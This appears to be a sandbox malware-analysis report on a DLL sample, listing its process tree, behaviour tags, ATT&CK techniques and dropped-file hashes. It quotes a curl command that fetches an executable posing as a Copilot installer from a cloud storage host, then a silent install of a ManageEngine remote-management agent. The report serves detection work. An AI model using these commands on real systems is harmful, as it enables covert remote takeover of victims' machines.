description pid Process procid_target PID 1396 wrote to memory of 1176 1396 rundll32.exe 92 PID 1176 wrote to memory of 3568 1176 cmd.exe 93 PID 1396 wrote to memory of 3112 1396 rundll32.exe 97 PID 1396 wrote to memory of 5316 1396 rundll32.exe 99 PID 5316 wrote to memory of 1304 5316 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 100 PID 1304 wrote to memory of 3884 1304 WScript.exe 101 PID 1200 wrote to memory of 4180 1200 msiexec.exe 103 PID 1200 wrote to memory of 3908 1200 msiexec.exe 104 PID 3908 wrote to memory of 2604 3908 dcagentregister.exe 105 PID 2604 wrote to memory of 4976 2604 cmd.exe 107 PID 4976 wrote to memory of 4916 4976 net.exe 108 PID 2604 wrote to memory of 2312 2604 cmd.exe 109 PID 2604 wrote to memory of 6128 2604 cmd.exe 110 PID 2604 wrote to memory of 4648 2604 cmd.exe 111 PID 2604 wrote to memory of 5740 2604 cmd.exe 113 PID 2604 wrote to memory of 2980 2604 cmd.exe 114 PID 3908 wrote to memory of 4548 3908 dcagentregister.exe 115 PID 4548 wrote to memory of 5752 4548 cmd.exe 117 PID 3908 wrote to memory of 5196 3908 dcagentregister.exe 121 PID 3908 wrote to memory of 2072 3908 dcagentregister.exe 123 PID 3908 wrote to memory of 2660 3908 dcagentregister.exe 125 PID 4632 wrote to memory of 4700 4632 dcagentservice.exe 128 PID 3908 wrote to memory of 4476 3908 dcagentregister.exe 130 PID 4632 wrote to memory of 5292 4632 dcagentservice.exe 132 PID 4632 wrote to memory of 2924 4632 dcagentservice.exe 133 PID 5292 wrote to memory of 2796 5292 dcusbsummary.exe 135 PID 4632 wrote to memory of 3120 4632 dcagentservice.exe 137 PID 3908 wrote to memory of 4852 3908 dcagentregister.exe 140 PID 4632 wrote to memory of 5796 4632 dcagentservice.exe 139 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\d4665762c6f9abd383400d60afda52b0a732e883c8b651fb6804df941428054e.dll,#11⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRCLIENT.dll",vmnetDHCP "C:\Windows\system32\rundll32.exe"3⤵PID:3568
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://hjjhggjhjhg.oss-ap-southeast-5.aliyuncs.com/setup.exe"2⤵PID:3112
-
-
C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe"C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5316 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3884
-
-
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe1⤵
- Executes dropped EXE
PID:3352
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E4A8ED837D56A9648EF79AC16C8CBA1C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4180
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:4916
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2312
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "CSNFRHEA\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:6128
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4648
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5740
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2980
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5752
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:5196
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2072
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2660
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4476 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵PID:1916
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4852 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵PID:992
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵PID:5160
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵PID:4768
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵PID:5348
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵PID:964
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵PID:592
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵PID:2616
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *5⤵PID:1120
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *5⤵PID:3064
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml5⤵PID:2664
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *5⤵PID:4172
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *5⤵PID:2428
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
PID:6052 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- Gathers system information
PID:940
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2984
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4700
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5292 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:2796
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2924
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:3120
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5796
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵PID:5788
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵PID:5664
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵PID:1448
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵PID:3296
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵PID:5836
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵PID:2448
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵PID:3516
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵PID:3456
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵PID:1812
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵PID:4508
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5ab3f4.rbs
- Size 63KB
- SHA256 337eef6903306e7403dc9777aa676ebf1a295464f8d7733d4d4178d4102beeea
- MD5 2edc89a3411cf35a60482c83483d255b
- SHA1 017e2f57747d416bc4f3f77a44196e79f890e83c
- SHA512 b148c4e503356d56d511ad1e080c099a6565e7921a7f9e4bc22453f8cbc3a0a5464d6875c66bd051bff6253b1d11dd952761ad423506850b93f617664b5fad82
- SSDEEP 768:Hlvw1oOjyhMzY7yjDO+GLltjo+i0qOWem0r0c4ImBVbK:F8oGyh7UDO+3HTKYzbK
- TLSH T135537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e5ab3fa.rbs
- Size 546B
- SHA256 23f54c647d890275d3a29443e3d530e481727e9adb3b8bb91cc0bc6b97b84302
- MD5 159d454f52687d3c324c49ae8641f4e0
- SHA1 3cb21edece7ecf0ece1b833732f91c4a092b0879
- SHA512 627ce6545a1ae7c680c8d05eed0995bbc441c889ad1aaa7f734018953c8e801694351c42a0fae14a8324c129ddb650b653b1439f45845e55d4a437527059b19e
- TLSH T173F09E97D70846F3D1A16B3622032F441A2FE57ED19487792E491230BD3231A5EBA1CD
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 7624628b0a42d1ae0691ea4cc618d8371532da1e907c3833ae482bedd42d653f
- MD5 7c58c61b73fad5fafea3a98f81cee3e5
- SHA1 d88c96823c82c50c28995cbd8624570bb6f1c5fa
- SHA512 2047a4a28214806953811bc186a01ca7dcf197aaa6587c9c4c6dc9f2bb92897a62c81fc7aa4ddbc863fb3f66e7ed00fb75134a8773276d38e2971bb6fdaa9d52
- TLSH T185217463042F8164EE79FE1D484E5E8E1485C78A8E54180B65728FE40E84BE8794B013
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc3320.tmp
- Size 190B
- SHA256 b641d69fcde23cfcfbcc4c89db832652a2ad80f68332b5596fd080e993bf5d0e
- MD5 18e283d200843930efb256fc33b1beed
- SHA1 e8d5d03e9c0a01c077e9af9936de681acf68515b
- SHA512 fbae59c64b15590b735d1c8def49e2e189c56b23ddac7b9013a955249e90a5de4ffb81041def07e92b5046a37ae0a0f87b1f9af4f025592a8719f1a2c59d607f
- TLSH T183C0228414C050BA20403905240E8E2E3868A10C722338A8CAAC0AF3AE91AC0027B262
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc5712.tmp
- Size 5KB
- SHA256 4de93fbe8b5c49f4a4b09ef4976e9f328c66b208b1b3e431a3105ea62f6cb070
- MD5 80fa8994dfb96c233fe6f633a3c52d14
- SHA1 12cc8cacfca4764cf00f93fe6febbdeacbb18ef7
- SHA512 f101ca6adf57d77669b59584ba36598f5f14b37f8a0c848071a20f5c29877d375b00a71ce7455b657ab2c6115000693a5362006b9bf5e1ca5fd79ad60eb0b639
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFb/iahiQ/EAA:gUGHElZhKgxzA
- TLSH T1FDB13210A0A28F6913B17B5C995AEA55CD1606A1360E1E05F06D39AB0F3EFC23DB74F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
- MD5 5e3325dc85cc12d8bfee900860aad196
- SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
- SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
- SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
- TLSH T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
- Size 174B
- SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
- MD5 c98570a2004587ccac5ac6de21859690
- SHA1 0726125790986ab8034cc4bfb6c87e48f6d908e3
- SHA512 5ca2548e689e32a22b4f12f578dc1309783d9834d82aaa82d489f3cf727e6e6ea2712b1c848452af50f39416eed6cb07d525a158a1a95102a56efb283228baba
- TLSH T1DBC08C6A4634F92F6C021F632B2006412FF502E12068A00CE0CF3F00161004FE30A306
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
- MD5 5fffcb6c5222a8c135284688da03c53a
- SHA1 01d0f499a855a787ccb4164460e6d233057062bc
- SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
- SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
- TLSH T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
- Size 30.3MB
- SHA256 b5158061ea11046f2c22442bda9cec50723324a30a3334264c1328ff56f230dc
- MD5 497aef9862c535259991f41112679869
- SHA1 81631c4e034330a33b2026dc34cc57aa269ec015
- SHA512 7f1c2ffd4327f82e081cb71ba9f18198dc2972c50e9af234128ac577d8318cbdbdade6e731976d427c7fd3d265f964c63caa1a7256545eae787b81774e5c5c18
- SSDEEP 786432:zc6Hqfa4Smv5q8zjMAXxuZWUsJQk8OUQBkZVg0/A7HoV+DOg3jl1oiP99:zceL4fcqxsWUsJQk8NQ67/ADoV+DH3jl
- TLSH T1E5673365F9BA9F36F146DFB283C2A28DFEBA304186E2EC1437C400D10291A977F559D6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 fe60589f3edeb7738c0eed47e886b6a396b80181d81bd703a0ba18b09839fad1
- MD5 eda3f4d032e0f94d572ba3e6e3667788
- SHA1 ec748a69c24afec114d96ba82184047d5459066f
- SHA512 873b1a18544c97ebd0db5236d682be2f731a8d59f9f46cfb7ec1c2e3c2c82a1100e7cc7ec0231a12726f17bb455bd867113e5a1b59d6905ad26275e00f7be715
- SSDEEP 6144:KR7kbE5weorw3RrDpfNtnVCXkZZsap08/:KiEqrw3RxfNtVCo
- TLSH T172348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 58a398bf9942cbd605d83730da31fb53562fc0bb9a23bd5351c5e096a3f1bfcd
- MD5 05dc5e864516c3bcc32fea3cb865a38c
- SHA1 a95281090786bd0dff704e4a6333ef1391bc1cb6
- SHA512 949957f5e0e235a2760af353ed92d68f151050610a1cc0dee2c9643805d80b83f970eb28604032e716aa6dd274f1aaabdb3a762488f70d7b257236a730d1d304
- SSDEEP 24576:Y5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUj5eKI9yB5S:OJlbq4tIMgc8H1tVDryc8jqS
- TLSH T11975AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
- Size 1.3MB
- SHA256 3ff4cbff82563e22b30e99d3e8dcc68c4c90f90d0e5fe82852744fe130efe265
- MD5 8824c4acc10ec2e0a3417a3bb00edefb
- SHA1 305b168d6c22b3c51b0d1c92e12a0ef3d8983314
- SHA512 7adf48634daf9921b95f3410f880bd32317bdb5469c88439ede1e7a5783f2c23eceb214c09a092dab34d29e1b616115f7f7ebb953fa088e1eaaa976b74ec60e2
- SSDEEP 24576:lHKI7BuEEcOfe5ThXgCuw4l2CBwAOVmbnRLKDnBGaUXqUI4PtEOd5Eco:9KI7BnBhRmltVBRKqq37
- TLSH T1BE55AF1372428031D1B1C0F19529FB76AB6C9968676284F3A2C4DEBD11E09D26B3FB5F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-1262770251-41185387-1005173349-1000\Win32_Certificate.json
- Size 30KB
- SHA256 c9aae1f0b2edfb5b23681fa960844da04ec4a85becbb8cac494368b96f055574
- MD5 20258fba6a9a32eeb9218cd282657fc1
- SHA1 1be8d479d2de68851809f1ee821f09f191e75f46
- SHA512 838c5fe7e6069361469f518665e75819cd3868d52560a23f63434c7ea4a65758dcc4a20b0b49ae49de1cea442653115f024c79d46b063723633a76b89cbe94c0
- SSDEEP 384:eXdatd8ZcqnLO1Wp1rVwab+1dPxtjWab1HkzJH6bjumD/Yygk0+dCdCDwCnCiCJc:ect2ZcqBIqk
- TLSH T18AD2BCCF726DC950A85991992132D8F2B10FFF5E46C95CC138C1A3AA9A4FB2172783D7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-1262770251-41185387-1005173349-1000\Win32_Printer.json
- Size 585B
